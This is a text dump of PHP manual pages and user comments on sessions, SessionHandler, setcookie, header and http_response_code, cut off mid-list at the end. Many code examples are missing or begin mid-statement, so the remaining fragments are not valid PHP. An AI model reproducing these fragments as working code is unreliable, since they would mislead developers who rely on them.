unset() to unregister a session variable, i.e. unset ($_SESSION['varname']);. Caution Do NOT unset the whole $_SESSION with unset($_SESSION) as this will disable the registering of session variables through the $_SESSION superglobal. User Contributed Notes 8 notes 7 Anonymous ¶16 years ago~ To further clarify the note above... this can be done via the session handling directives in your php.ini file... there are options to set garbage collection probability (via percent... i.e. 75 means it would run 3 out of every 4 page accesses), and the amount of time a session object can remain active before the garbage collection process sees it as garbage. -------------------------------------------------------------------------------- *sessionhandler_class* +--------------------------+~ | The SessionHandler class |~ +--------------------------+~ (PHP 5 >= 5.4.0, PHP 7) Introduction~ SessionHandler is a special class that can be used to expose the current internal PHP session save handler by inheritance. There are seven methods which wrap the seven internal session save handler callbacks (open, close, read, write, destroy, gc and create_sid). By default, this class will wrap whatever internal save handler is set as defined by the |session.save_handler| configuration directive which is usually files by default. Other internal session save handlers are provided by PHP extensions such as SQLite (as sqlite), Memcache (as memcache), and Memcached (as memcached). When a plain instance of SessionHandler is set as the save handler using |session_set_save_handler|() it will wrap the current save handlers. A class extending from SessionHandler allows you to override the methods or intercept or filter them by calls the parent class methods which ultimately wrap the interal PHP session handlers. This allows you, for example, to intercept the read and write methods to encrypt/decrypt the session data and then pass the result to and from the parent class. Alternatively one might chose to entirely override a method like the garbage collection callback gc. Because the SessionHandler wraps the current internal save handler methods, the above example of encryption can be applied to any internal save handler without having to know the internals of the handlers. To use this class, first set the save handler you wish to expose using |session.save_handler| and then pass an instance of SessionHandler or one extending it to |session_set_save_handler|(). Please note the callback methods of this class are designed to be called internally by PHP and are not meant to be called from user-space code. The return values are equally processed internally by PHP. For more information on the session workflow, please refer |session_set_save_handler|(). > Class synopsis~ > SessionHandler implements SessionHandlerInterface { /* Methods */ public bool close ( void ) public string create_sid ( void ) public bool destroy ( string $session_id ) public bool gc ( int $maxlifetime ) public bool open ( string $save_path , string $session_name ) public string read ( string $session_id ) public bool write ( string $session_id , string $session_data ) } < Warning This class is designed to expose the current internal PHP session save handler, if you want to write your own custom save handlers, please implement the |SessionHandlerInterface| interface instead of extending from SessionHandler. Changelog~ Version Description 5.5.1 Added SessionHandler::create_sid(). Example #1 Using SessionHandler to add encryption to internal PHP save handlers. > key = $key; } public function read($id) { $data = parent::read($id); if (!$data) { return ""; } else { return decrypt($data, $this->key); } } public function write($id, $data) { $data = encrypt($data, $this->key); return parent::write($id, $data); } } // we'll intercept the native 'files' handler, but will equally work // with other internal native handlers like 'sqlite', 'memcache' or 'memcached' // which are provided by PHP extensions. ini_set('session.save_handler', 'files'); $key = 'secret_string'; $handler = new EncryptedSessionHandler($key); session_set_save_handler($handler, true); session_start(); // proceed to set and retrieve values by key from $_SESSION < Note: Since this class' methods are designed to be called internally by PHP as part of the normal session workflow, child class calls to parent methods (i.e. the actual internal native handlers) will return FALSE unless the session has actually been started (either automatically, or by explicit session_start(). This is important to consider when writing unit tests where the class methods might be invoked manually. Table of Contents~ |SessionHandler::close| — Close the session |SessionHandler::create_sid| — Return a new session ID |SessionHandler::destroy| — Destroy a session |SessionHandler::gc| — Cleanup old sessions |SessionHandler::open| — Initialize session |SessionHandler::read| — Read session data |SessionHandler::write| — Write session data User Contributed Notes 2 notes 12 rasmus at mindplay dot dk ¶1 year ago~ As the life-cycle of a session handler is fairly complex, I found it difficult to understand when explained using just words - so I traced the function calls made to a custom SessionHandler, and created this overview of precisely what happens when you call various session methods: https://gist.github.com/mindplay-dk/623bdd50c1b4c0553cd3 I hope this makes it considerably easier to implement a custom SessionHandler and get it right the first time :-) -------------------------------------------------------------------------------- *SessionHandlerInterface* +-----------------------------------+~ | The SessionHandlerInterface class |~ +-----------------------------------+~ (PHP 5 >= 5.4.0, PHP 7) Introduction~ SessionHandlerInterface is an interface which defines a prototype for creating a custom session handler. In order to pass a custom session handler to session_set_save_handler() using its OOP invocation, the class must implement this interface. Please note the callback methods of this class are designed to be called internally by PHP and are not meant to be called from user-space code. > Class synopsis ¶ SessionHandlerInterface { /* Methods */ abstract public bool close ( void ) abstract public bool destroy ( string $session_id ) abstract public bool gc ( int $maxlifetime ) abstract public bool open ( string $save_path , string $session_name ) abstract public string read ( string $session_id ) abstract public bool write ( string $session_id , string $session_data ) } < Example #1 Example using SessionHandlerInterface The following example provides file based session storage similar to the PHP sessions default save handler files. This example could easily be extended to cover database storage using your favorite PHP supported database engine. Note we use the OOP prototype with session_set_save_handler() and register the shutdown function using the function's parameter flag. This is generally advised when registering objects as session save handlers. > savePath = $savePath; if (!is_dir($this->savePath)) { mkdir($this->savePath, 0777); } return true; } public function close() { return true; } public function read($id) { return (string)@file_get_contents("$this->savePath/sess_$id"); } public function write($id, $data) { return file_put_contents("$this->savePath/sess_$id", $data) === false ? false : true; } public function destroy($id) { $file = "$this->savePath/sess_$id"; if (file_exists($file)) { unlink($file); } return true; } public function gc($maxlifetime) { foreach (glob("$this->savePath/sess_*") as $file) { if (filemtime($file) + $maxlifetime < time() && file_exists($file)) { unlink($file); } } return true; } } $handler = new MySessionHandler(); session_set_save_handler($handler, true); session_start(); // proceed to set and retrieve values by key from $_SESSION < Table of Contents~ |SessionHandlerInterface::close| — Close the session |SessionHandlerInterface::destroy| — Destroy a session |SessionHandlerInterface::gc| — Cleanup old sessions |SessionHandlerInterface::open| — Initialize session |SessionHandlerInterface::read| — Read session data |SessionHandlerInterface::write| — Write session data User Contributed Notes 3 notes 6 warxcell at gmail dot com ¶4 years ago~ You should prepend \ before class name, to tell php its from root namespace. -------------------------------------------------------------------------------- *SessionHandlerInterface::close* +--------------------------------+~ | SessionHandlerInterface::close |~ +--------------------------------+~ (PHP 5 >= 5.4.0, PHP 7) SessionHandlerInterface::close — Close the session Description~ > abstract public bool SessionHandlerInterface::close ( void ) < Closes the current session. This function is automatically executed when closing the session, or explicitly via session_write_close(). Parameters~ This function has no parameters. Return Values~ The return value (usually TRUE on success, FALSE on failure). Note this value is returned internally to PHP for processing. User Contributed Notes 1 note -------------------------------------------------------------------------------- *SessionHandlerInterface::destroy* +----------------------------------+~ | SessionHandlerInterface::destroy |~ +----------------------------------+~ (PHP 5 >= 5.4.0, PHP 7) SessionHandlerInterface::destroy — Destroy a session Description~ > abstract public bool SessionHandlerInterface::destroy ( string $session_id ) < Destroys a session. Called by session_regenerate_id() (with $destroy = TRUE), session_destroy() and when session_decode() fails. Parameters~ session_id ---------- The session ID being destroyed. Return Values~ The return value (usually TRUE on success, FALSE on failure). Note this value is returned internally to PHP for processing. User Contributed Notes There are no user contributed notes for this page. -------------------------------------------------------------------------------- *SessionHandlerInterface::gc* +-----------------------------+~ | SessionHandlerInterface::gc |~ +-----------------------------+~ (PHP 5 >= 5.4.0, PHP 7) SessionHandlerInterface::gc — Cleanup old sessions Description~ > abstract public bool SessionHandlerInterface::gc ( int $maxlifetime ) < Cleans up expired sessions. Called by session_start(), based on session.gc_divisor, session.gc_probability and session.gc_maxlifetime settings. Parameters~ maxlifetime ----------- Sessions that have not updated for the last maxlifetime seconds will be removed. Return Values~ The return value (usually TRUE on success, FALSE on failure). Note this value is returned internally to PHP for processing. User Contributed Notes There are no user contributed notes for this page. -------------------------------------------------------------------------------- *SessionHandlerInterface::open* +-------------------------------+~ | SessionHandlerInterface::open |~ +-------------------------------+~ (PHP 5 >= 5.4.0, PHP 7) SessionHandlerInterface::open — Initialize session Description~ > abstract public bool SessionHandlerInterface::open ( string $save_path , string $session_name ) < Re-initialize existing session, or creates a new one. Called when a session starts or when session_start() is invoked. Parameters~ save_path --------- The path where to store/retrieve the session. session_name ------------ The session name. Return Values~ The return value (usually TRUE on success, FALSE on failure). Note this value is returned internally to PHP for processing. See Also~ |session_name|() - Get and/or set the current session name The |session.auto-start| configuration directive. User Contributed Notes 2 notes 6 narf at devilix dot net ¶2 years ago~ The suggestion that you should free the lock as soon as possible is WRONG (and for some reason, I can't downvote it right now). Releasing the lock before the write() call is as effective as not using locks at all. The whole point is that a concurrent read() HAS to be blocked until the session is closed, otherwise you'll have race conditions. If you care about the performance aspect, you should take care to call session_write_close() as soon as possible instead. -------------------------------------------------------------------------------- *SessionHandlerInterface::read* +-------------------------------+~ | SessionHandlerInterface::read |~ +-------------------------------+~ (PHP 5 >= 5.4.0, PHP 7) |SessionHandlerInterface::read| — Read session data Description~ > abstract public string SessionHandlerInterface::read ( string $session_id ) < Reads the session data from the session storage, and returns the results. Called right after the session starts or when session_start() is called. Please note that before this method is called SessionHandlerInterface::open() is invoked. This method is called by PHP itself when the session is started. This method should retrieve the session data from storage by the session ID provided. The string returned by this method must be in the same serialized format as when originally passed to the SessionHandlerInterface::write() If the record was not found, return an empty string. The data returned by this method will be decoded internally by PHP using the unserialization method specified in session.serialize_handler. The resulting data will be used to populate the $_SESSION superglobal. Note that the serialization scheme is not the same as unserialize() and can be accessed by session_decode(). Parameters~ session_id ---------- The session id. Return Values~ Returns an encoded string of the read data. If nothing was read, it must return an empty string. Note this value is returned internally to PHP for processing. See Also~ The |session.serialize_handler| configuration directive. There are no user contributed notes for this page. -------------------------------------------------------------------------------- *SessionHandlerInterface::write* +--------------------------------+~ | SessionHandlerInterface::write |~ +--------------------------------+~ (PHP 5 >= 5.4.0, PHP 7) SessionHandlerInterface::write — Write session data Description~ > abstract public bool SessionHandlerInterface::write ( string $session_id , string $session_data ) < Writes the session data to the session storage. Called by session_write_close(), when session_register_shutdown() fails, or during a normal shutdown. Note: SessionHandlerInterface::close() is called immediately after this function. PHP will call this method when the session is ready to be saved and closed. It encodes the session data from the $_SESSION superglobal to a serialized string and passes this along with the session ID to this method for storage. The serialization method used is specified in the session.serialize_handler setting. Note this method is normally called by PHP after the output buffers have been closed unless explicitly called by session_write_close() Parameters~ session_id ---------- The session id. session_data ------------ The encoded session data. This data is the result of the PHP internally encoding the $_SESSION superglobal to a serialized string and passing it as this parameter. Please note sessions use an alternative serialization method. Return Values~ The return value (usually TRUE on success, FALSE on failure). Note this value is returned internally to PHP for processing. See Also~ The |session.serialize_handler| configuration directive. User Contributed Notes 2 notes -------------------------------------------------------------------------------- *setcookie* +-----------+~ | setcookie |~ +-----------+~ (PHP 4, PHP 5, PHP 7) setcookie — Send a cookie Description~ > bool setcookie ( string $name [, string $value = "" [, int $expire = 0 [, string $path = "" [, string $domain = "" [, bool $secure = false [, bool $httponly = false ]]]]]] ) < setcookie() defines a cookie to be sent along with the rest of the HTTP headers. Like other headers, cookies must be sent before any output from your script (this is a protocol restriction). This requires that you place calls to this function prior to any output, including and tags as well as any whitespace. Once the cookies have been set, they can be accessed on the next page load with the $_COOKIE array. Cookie values may also exist in $_REQUEST. Parameters~ » RFC 6265 provides the normative reference on how each setcookie() parameter is interpreted. name ----- The name of the cookie. value ----- The value of the cookie. This value is stored on the clients computer; do not store sensitive information. Assuming the name is 'cookiename', this value is retrieved through $_COOKIE['cookiename'] expire ------ The time the cookie expires. This is a Unix timestamp so is in number of seconds since the epoch. In other words, you'll most likely set this with the time() function plus the number of seconds before you want it to expire. Or you might use mktime(). time()+60*60*24*30 will set the cookie to expire in 30 days. If set to 0, or omitted, the cookie will expire at the end of the session (when the browser closes). Note: You may notice the expire parameter takes on a Unix timestamp, as opposed to the date format Wdy, DD-Mon-YYYY HH:MM:SS GMT, this is because PHP does this conversion internally. path ----- The path on the server in which the cookie will be available on. If set to '/', the cookie will be available within the entire domain. If set to '/foo/', the cookie will only be available within the /foo/ directory and all sub-directories such as /foo/bar/ of domain. The default value is the current directory that the cookie is being set in. domain ------ The (sub)domain that the cookie is available to. Setting this to a subdomain (such as 'www.example.com') will make the cookie available to that subdomain and all other sub-domains of it (i.e. w2.www.example.com). To make the cookie available to the whole domain (including all subdomains of it), simply set the value to the domain name ('example.com', in this case). Older browsers still implementing the deprecated » RFC 2109 may require a leading . to match all subdomains. secure ------ Indicates that the cookie should only be transmitted over a secure HTTPS connection from the client. When set to TRUE, the cookie will only be set if a secure connection exists. On the server-side, it's on the programmer to send this kind of cookie only on secure connection (e.g. with respect to $_SERVER["HTTPS"]). httponly -------- When TRUE the cookie will be made accessible only through the HTTP protocol. This means that the cookie won't be accessible by scripting languages, such as JavaScript. It has been suggested that this setting can effectively help to reduce identity theft through XSS attacks (although it is not supported by all browsers), but that claim is often disputed. Added in PHP 5.2.0. TRUE or FALSE Return Values~ If output exists prior to calling this function, setcookie() will fail and return FALSE. If setcookie() successfully runs, it will return TRUE. This does not indicate whether the user accepted the cookie. Examples~ Some examples follow how to send cookies: Example #1 setcookie() send example > < Note that the value portion of the cookie will automatically be urlencoded when you send the cookie, and when it is received, it is automatically decoded and assigned to a variable by the same name as the cookie name. If you don't want this, you can use setrawcookie() instead if you are using PHP 5. To see the contents of our test cookie in a script, simply use one of the following examples: > < Example #2 setcookie() delete example When deleting a cookie you should assure that the expiration date is in the past, to trigger the removal mechanism in your browser. Examples follow how to delete cookies sent in previous example: > < Example #3 setcookie() and arrays You may also set array cookies by using array notation in the cookie name. This has the effect of setting as many cookies as you have array elements, but when the cookie is received by your script, the values are all placed in an array with the cookie's name: > $value) { $name = htmlspecialchars($name); $value = htmlspecialchars($value); echo "$name : $value
\n"; } } ?> < The above example will output: three : cookiethree two : cookietwo one : cookieone Changelog Version Description 5.5.0 A Max-Age attribute is now included in the Set-Cookie header sent to the client. 5.2.0 The httponly parameter was added. Notes Note: You can use output buffering to send output prior to the call of this function, with the overhead of all of your output to the browser being buffered in the server until you send it. You can do this by calling ob_start() and ob_end_flush() in your script, or setting the output_buffering configuration directive on in your php.ini or server configuration files. Note: If the PHP directive register_globals is set to on then cookie values will also be made into variables. In our examples below, $TestCookie will exist. It's recommended to use $_COOKIE. Common Pitfalls: Cookies will not become visible until the next loading of a page that the cookie should be visible for. To test if a cookie was successfully set, check for the cookie on a next loading page before the cookie expires. Expire time is set via the expire parameter. A nice way to debug the existence of cookies is by simply calling print_r($_COOKIE);. Cookies must be deleted with the same parameters as they were set with. If the value argument is an empty string, or FALSE, and all other arguments match a previous call to setcookie, then the cookie with the specified name will be deleted from the remote client. This is internally achieved by setting value to 'deleted' and expiration time to one year in past. Because setting a cookie with a value of FALSE will try to delete the cookie, you should not use boolean values. Instead, use 0 for FALSE and 1 for TRUE. Cookies names can be set as array names and will be available to your PHP scripts as arrays but separate cookies are stored on the user's system. Consider explode() to set one cookie with multiple names and values. It is not recommended to use serialize() for this purpose, because it can result in security holes. Multiple calls to setcookie() are performed in the order called. See Also~ header() - Send a raw HTTP header setrawcookie() - Send a cookie without urlencoding the cookie value cookies section » RFC 6265 » RFC 2109 User Contributed Notes 54 notes 219 walterquez ¶4 years ago~ Instead of this: > < You can this: > < 86 Bachsau ¶4 years ago~ Want to remove a cookie? Many people do it the complicated way: > setcookie('name', 'content', time()-3600); < But why do you make it so complicated and risk it not working, when the client's time is wrong? Why fiddle around with time(); Here's the easiest way to unset a cookie: > setcookie('name', 'content', 1); < Thats it. 24 Anonymous ¶10 years ago~ something that wasn't made clear to me here and totally confused me for a while was that domain names must contain at least two dots (.), hence 'localhost' is invalid and the browser will refuse to set the cookie! instead for localhost you should use false. to make your code work on both localhost and a proper domain, you can do this: > < 7 stovenator at gmail dot com ¶10 years ago~ If you are having issues with IE7 and setcookie(), be sure to verify that the cookie is set via http for http sites, and https for https site. Also, if the time is incorrect on your server, IE7 will also disallow those cookies from being set. 7 gareth at gw126 dot com ¶10 years ago~ You can use cookies to prevent a browser refresh repeating some action from a form post... (providing the client is cookie enabled!) > 0) { $lastpost= isset($_COOKIE['lastpost']) ? $_COOKIE['lastpost'] : ''; if($lastpost!=md5(serialize($_POST))) { setcookie('lastpost', md5(serialize($_POST))); $_POST['_REPEATED']=0; } else { $_POST['_REPEATED']=1; } } //At this point, if $_POST['_REPEATED']==1, then the user //has hit the refresh button; so don't do any actions that you don't //want to repeat! ?> < Hope that helps :) Gareth 10 bluewaterbob ¶9 years ago~ if you are having problems seeing cookies sometimes or deleting cookies sometimes, despite following the advice below, make sure you are setting the cookie with the domain argument. Set it with the dot before the domain as the examples show: ".example.com". I wasn't specifying the domain, and finally realized I was setting the cookie when the browser url had the http://www.example.com and later trying to delete it when the url didn't have the www. ie. http://example.com. This also caused the page to be unable to find the cookie when the www. wasn't in the domain. (When you add the domain argument to the setcookie code that creates the cookie, make sure you also add it to the code that deletes the cookie.) 12 cwillard at fastmail dot fm ¶9 years ago~ If you're looking to set multiple values in your cookie (rather than setting multiple cookies) you might find these useful. > $data) { $out.= ($data!="") ? $index."=".$data."|" : ""; } } return rtrim($out,"|"); } function break_cookie ($cookie_string) { $array=explode("|",$cookie_string); foreach ($array as $i=>$stuff) { $stuff=explode("=",$stuff); $array[$stuff[0]]=$stuff[1]; unset($array[$i]); } return $array; } ?> < Hopefully someone finds these useful. 19 paul nospam AT nospam sitepoint dot com ¶10 years ago~ Note when setting "array cookies" that a separate cookie is set for each element of the array. On high traffic sites, this can substantially increase the size of subsequent HTTP requests from clients (including requests for static content on the same domain). More importantly though, the cookie specification says that browsers need only accept 20 cookies per domain. This limit is increased to 50 by Firefox, and to 30 by Opera, but IE6 and IE7 enforce the limit of 20 cookie per domain. Any cookies beyond this limit will either knock out an older cookie or be ignored/rejected by the browser. 6 MrXCol ¶5 years ago~ If you're having problem with IE not accepting session cookies this could help: It seems the IE (6, 7, 8 and 9) do not accept the part 'Expire=0' when setting a session cookie. To fix it just don't put any expire at all. The default behavior when the 'Expire' is not set is to set the cookie as a session one. (Firefox doesn't complains, btw.) 8 laffen ¶7 years ago~ Note that the $_COOKIE variable not will hold multiple cookies with the same name. It is legitimate to set two cookies with the same name to the same host where the sub domain is different. > < The next request from the browser will have both cookies in the $_SERVER['HTTP_COOKIE'] variable, but only one of them will be found in the $_COOKIE variable. Requests to subdom.example.com will have both cookies, while browser request to example.com or www.example.com only sends the cookie with the "value1hostonly" value. > " . $k[1]; } // output testcookie => value1hostonly testcookie => value2subdom ?> < 8 Carl V ¶11 years ago~ If you want to delete all the cookies set by your domain, you may run the following: > < Very useful when doing logout scripts and the cookie name may have changed (long story). 6 gabe at fijiwebdesign dot com ¶10 years ago~ If you want to delete all cookies on your domain, you may want to use the value of: > < rather than: > < to dertermine the cookie names. If cookie names are in Array notation, eg: user[username] Then PHP will automatically create a corresponding array in $_COOKIE. Instead use $_SERVER['HTTP_COOKIE'] as it mirrors the actual HTTP Request header. > < 6 Eric ¶7 years ago~ The server my php code is running on has sessions disabled so I am forced to store a fair bit of arbitrary data in cookies. Using array names was impractical and problematic, so I implemented a splitting routine. I do not serialize any class instances, just arrays and simple objects. In a nutshell, when setting a cookie value, I serialize it, gzcompress it, base64 encode it, break it into pieces and store it as a set of cookies. To fetch the cookie value I get the named piece then iterate through piece names rebuilding the base64 data, then reverse the rest of the process. The only other trick is deleting the pieces correctly. Sessions are better, but if they are not available this is a viable alternative. I chose gz over bz for compression because it looked faster with only slightly worse ratios. Here is a simplified version of my implementation. This is a good starting point but is not suitable for most uses. For example, the domain and path are hard coded and no return values are checked for validity. > 0 ) ? $inKey.COOKIE_PORTIONS.$index : $inKey , $split[$index] , $inExpire , '/' , '' , 0 ); } clearpieces( $inKey , $count ); } function fetchcookie( $inKey ) { $decode = $_COOKIE[$inKey]; for ( $index = 1 ; array_key_exists( $inKey.COOKIE_PORTIONS.$index , $_COOKIE ) ; $index += 1 ) { $decode .= $_COOKIE[$inKey.COOKIE_PORTIONS.$index]; } $decode = base64_decode( $decode ); $decode = gzuncompress( $decode ); return unserialize( $decode ); } ?> < 6 jonathan dot bergeron at rve dot ulaval dot ca ¶9 years ago~ About the delete part, I found that Firefox only remove the cookie when you submit the same values for all parameters, except the date, which sould be in the past. Submiting blank values didn't work for me. Example : - set - > < - delete - > < Jonathan -------------------------------------------------------------------------------- *header* +--------+~ | header |~ +--------+~ header (PHP 4, PHP 5, PHP 7) header — Send a raw HTTP header Description~ > void header ( string $string [, bool $replace = true [, int $http_response_code ]] ) < header() is used to send a raw HTTP header. See the » HTTP/1.1 specification for more information on HTTP headers. Remember that header() must be called before any actual output is sent, either by normal HTML tags, blank lines in a file, or from PHP. It is a very common error to read code with include, or require, functions, or another file access function, and have spaces or empty lines that are output before header() is called. The same problem exists when using a single PHP/HTML file. > < Parameters~ string ------ The header string. There are two special-case header calls. The first is a header that starts with the string "HTTP/" (case is not significant), which will be used to figure out the HTTP status code to send. For example, if you have configured Apache to use a PHP script to handle requests for missing files (using the ErrorDocument directive), you may want to make sure that your script generates the proper status code. > < The second special case is the "Location:" header. Not only does it send this header back to the browser, but it also returns a REDIRECT (302) status code to the browser unless the 201 or a 3xx status code has already been set. > < replace ------- The optional replace parameter indicates whether the header should replace a previous similar header, or add a second header of the same type. By default it will replace, but if you pass in FALSE as the second argument you can force multiple headers of the same type. For example: > < http_response_code ------------------ Forces the HTTP response code to the specified value. Note that this parameter only has an effect if the string is not empty. Return Values~ No value is returned. Changelog~ Version Description 5.1.2 This function now prevents more than one header to be sent at once as a protection against header injection attacks. Examples~ Example #1 Download dialog If you want the user to be prompted to save the data you are sending, such as a generated PDF file, you can use the » Content-Disposition header to supply a recommended filename and force the browser to display the save dialog. > < Example #2 Caching directives PHP scripts often generate dynamic content that must not be cached by the client browser or any proxy caches between the server and the client browser. Many proxies and clients can be forced to disable caching with: > < Note: You may find that your pages aren't cached even if you don't output all of the headers above. There are a number of options that users may be able to set for their browser that change its default caching behavior. By sending the headers above, you should override any settings that may otherwise cause the output of your script to be cached. Additionally, session_cache_limiter() and the session.cache_limiter configuration setting can be used to automatically generate the correct caching-related headers when sessions are being used. Notes Note: Headers will only be accessible and output when a SAPI that supports them is in use. Note: You can use output buffering to get around this problem, with the overhead of all of your output to the browser being buffered in the server until you send it. You can do this by calling ob_start() and ob_end_flush() in your script, or setting the output_buffering configuration directive on in your php.ini or server configuration files. Note: The HTTP status header line will always be the first sent to the client, regardless of the actual header() call being the first or not. The status may be overridden by calling header() with a new status line at any time unless the HTTP headers have already been sent. Note: There is a bug in Microsoft Internet Explorer 4.01 that prevents this from working. There is no workaround. There is also a bug in Microsoft Internet Explorer 5.5 that interferes with this, which can be resolved by upgrading to Service Pack 2 or later. Note: If safe mode is enabled the uid of the script is added to the realm part of the WWW-Authenticate header if you set this header (used for HTTP Authentication). Note: Most contemporary clients accept relative URIs as argument to » Location:, but some older clients require an absolute URI including the scheme, hostname and absolute path. You can usually use $_SERVER['HTTP_HOST'], $_SERVER['PHP_SELF'] and dirname() to make an absolute URI from a relative one yourself: > < Note: Session ID is not passed with Location header even if session.use_trans_sid is enabled. It must by passed manually using SID constant. See Also~ |headers_sent|() - Checks if or where headers have been sent |setcookie|() - Send a cookie |http_response_code|() - Get or Set the HTTP response code The section on HTTP authentication User Contributed Notes 29 notes 138 mjt at jpeto dot net ¶7 years ago~ I strongly recommend, that you use > header($_SERVER["SERVER_PROTOCOL"]." 404 Not Found"); < instead of > header("HTTP/1.1 404 Not Found"); < I had big troubles with an Apache/2.0.59 (Unix) answering in HTTP/1.0 while I (accidentially) added a "HTTP/1.1 200 Ok" - Header. Most of the pages were displayed correct, but on some of them apache added weird content to it: A 4-digits HexCode on top of the page (before any output of my php script), seems to be some kind of checksum, because it changes from page to page and browser to browser. (same code for same page and browser) "0" at the bottom of the page (after the complete output of my php script) It took me quite a while to find out about the wrong protocol in the HTTP-header. 64 Marcel G ¶6 years ago~ Several times this one is asked on the net but an answer could not be found in the docs on php.net ... If you want to redirect an user and tell him he will be redirected, e. g. "You will be redirected in about 5 secs. If not, click here." you cannot use header( 'Location: ...' ) as you can't sent any output before the headers are sent. So, either you have to use the HTML meta refresh thingy or you use the following: > here.'; ?> < Hth someone 53 Dylan at WeDefy dot com ¶9 years ago~ A quick way to make redirects permanent or temporary is to make use of the $http_response_code parameter in header(). > < The HTTP status code changes the way browsers and robots handle redirects, so if you are using header(Location:) it's a good idea to set the status code at the same time. Browsers typically re-request a 307 page every time, cache a 302 page for the session, and cache a 301 page for longer, or even indefinitely. Search engines typically transfer "page rank" to the new location for 301 redirects, but not for 302, 303 or 307. If the status code is not specified, header('Location:') defaults to 302. 34 mandor at mandor dot net ¶11 years ago~ When using PHP to output an image, it won't be cached by the client so if you don't want them to download the image each time they reload the page, you will need to emulate part of the HTTP protocol. Here's how: > < That way foo.png will be properly cached by the client and you'll save bandwith. :) 27 bebertjean at yahoo dot fr ¶8 years ago~ If using the 'header' function for the downloading of files, especially if you're passing the filename as a variable, remember to surround the filename with double quotes, otherwise you'll have problems in Firefox as soon as there's a space in the filename. So instead of typing: > < you should type: > < If you don't do this then when the user clicks on the link for a file named "Example file with spaces.txt", then Firefox's Save As dialog box will give it the name "Example", and it will have no extension. See the page called "Filenames_with_spaces_are_truncated_upon_download" at http://kb.mozillazine.org/ for more information. (Sorry, the site won't let me post such a long link...) 19 ben at indietorrent dot org ¶4 years ago~ Be aware that sending binary files to the user-agent (browser) over an encrypted connection (SSL/TLS) will fail in IE (Internet Explorer) versions 5, 6, 7, and 8 if any of the following headers is included: > Cache-control:no-store Cache-control:no-cache < See: http://support.microsoft.com/kb/323308 Workaround: do not send those headers. Also, be aware that IE versions 5, 6, 7, and 8 double-compress already-compressed files and do not reverse the process correctly, so ZIP files and similar are corrupted on download. Workaround: disable compression (beyond text/html) for these particular versions of IE, e.g., using Apache's "BrowserMatch" directive. The following example disables compression in all versions of IE: BrowserMatch ".*MSIE.*" gzip-only-text/html 16 shutout2730 at yahoo dot com ¶8 years ago~ It is important to note that headers are actually sent when the first byte is output to the browser. If you are replacing headers in your scripts, this means that the placement of echo/print statements and output buffers may actually impact which headers are sent. In the case of redirects, if you forget to terminate your script after sending the header, adding a buffer or sending a character may change which page your users are sent to. This redirects to 2.html since the second header replaces the first. > < This redirects to 1.html since the header is sent as soon as the echo happens. You also won't see any "headers already sent" errors because the browser follows the redirect before it can display the error. > < Wrapping the previous example in an output buffer actually changes the behavior of the script! This is because headers aren't sent until the output buffer is flushed. > < 7 Refugnic ¶7 years ago~ My files are in a compressed state (bz2). When the user clicks the link, I want them to get the uncompressed version of the file. After decompressing the file, I ran into the problem, that the download dialog would always pop up, even when I told the dialog to 'Always perform this operation with this file type'. As I found out, the problem was in the header directive 'Content-Disposition', namely the 'attachment' directive. If you want your browser to simulate a plain link to a file, either change 'attachment' to 'inline' or omit it alltogether and you'll be fine. This took me a while to figure out and I hope it will help someone else out there, who runs into the same problem. -------------------------------------------------------------------------------- *http_response_code* +--------------------+~ | http_response_code |~ +--------------------+~ (PHP 5 >= 5.4.0, PHP 7) http_response_code — Get or Set the HTTP response code Description~ > mixed http_response_code ([ int $response_code ] ) < Gets or sets the HTTP response status code. Parameters~ response_code ------------- The optional response_code will set the response code. Return Values~ If response_code is provided, then the previous status code will be returned. If response_code is not provided, then the current status code will be returned. Both of these values will default to a 200 status code if used in a web server environment. FALSE will be returned if response_code is not provided and it is not invoked in a web server environment (such as from a CLI application). TRUE will be returned if response_code is provided and it is not invoked in a web server environment (but only when no previous response status has been set). Examples~ Example #1 Using http_response_code() in a web server environment > < The above example will output: > int(200) int(404) < Example #2 Using http_response_code() in a CLI environment > < The above example will output: > bool(false) bool(true) int(201) < See Also~ |header|() - Send a raw HTTP header |headers_list|() - Returns a list of response headers sent (or ready to send) User Contributed Notes 14 notes 110 craig at craigfrancis dot co dot uk ¶5 years ago~ If your version of PHP does not include this function: > < In this example I am using $GLOBALS, but you can use whatever storage mechanism you like... I don't think there is a way to return the current status code: https://bugs.php.net/bug.php?id=52555 For reference the error codes I got from PHP's source code: http://lxr.php.net/opengrok/xref/PHP_5_4/sapi/cgi/cgi_main.c#354 And how the current http header is sent, with the variables it uses: http://lxr.php.net/opengrok/xref/PHP_5_4/main/SAPI.c#856 28 Stefan W ¶2 years ago~ Note that you can NOT set arbitrary response codes with this function, only those that are known to PHP (or the SAPI PHP is running on). The following codes currently work as expected (with PHP running as Apache module): > 200 – 208, 226 300 – 305, 307, 308 400 – 417, 422 – 424, 426, 428 – 429, 431 500 – 508, 510 – 511 < Codes 0, 100, 101, and 102 will be sent as "200 OK". Everything else will result in "500 Internal Server Error". If you want to send responses with a freestyle status line, you need to use the `header()` function: > < 12 Anonymous ¶3 years ago~ You can also create a enum by extending the SplEnum class. > < 9 stephen at bobs-bits dot com ¶3 years ago~ It's not mentioned explicitly, but the return value when SETTING, is the OLD status code. e.g. > < 13 Anonymous ¶4 years ago~ If you don't have PHP 5.4 and want to change the returned status code, you can simply write: > < The ':' are mandatory, or it won't work 6 Anonymous ¶3 years ago~ Status codes as an array: > "Continue", 101 => "Switching Protocols", 102 => "Processing", 200 => "OK", 201 => "Created", 202 => "Accepted", 203 => "Non-Authoritative Information", 204 => "No Content", 205 => "Reset Content", 206 => "Partial Content", 207 => "Multi-Status", 300 => "Multiple Choices", 301 => "Moved Permanently", 302 => "Found", 303 => "See Other", 304 => "Not Modified", 305 => "Use Proxy", 306 => "(Unused)", 307 => "Temporary Redirect", 308 => "Permanent Redirect", 400 => "Bad Request", 401 => "Unauthorized", 402 => "Payment Required", 403 => "Forbidden", 404 => "Not Found", 405 => "Method Not Allowed", 406 => "Not Acceptable", 407 => "Proxy Authentication Required", 408 => "Request Timeout", 409 => "Conflict", 410 => "Gone", 411 => "Length Required", 412 => "Precondition Failed", 413 => "Request Entity Too Large", 414 => "Request-URI Too Long", 415 => "Unsupported Media Type", 416 => "Requested Range Not Satisfiable", 417 => "Expectation Failed", 418 => "I'm a teapot", 419 => "Authentication Timeout", 420 => "Enhance Your Calm", 422 => "Unprocessable Entity", 423 => "Locked", 424 => "Failed Dependency", 424 => "Method Failure", 425 => "Unordered Collection", 426 => "Upgrade Required", 428 => "Precondition Required", 429 => "Too Many Requests", 431 => "Request Header Fields Too Large", 444 => "No Response", 449 => "Retry With", 450 => "Blocked by Windows Parental Controls", 451 => "Unavailable For Legal Reasons", 494 => 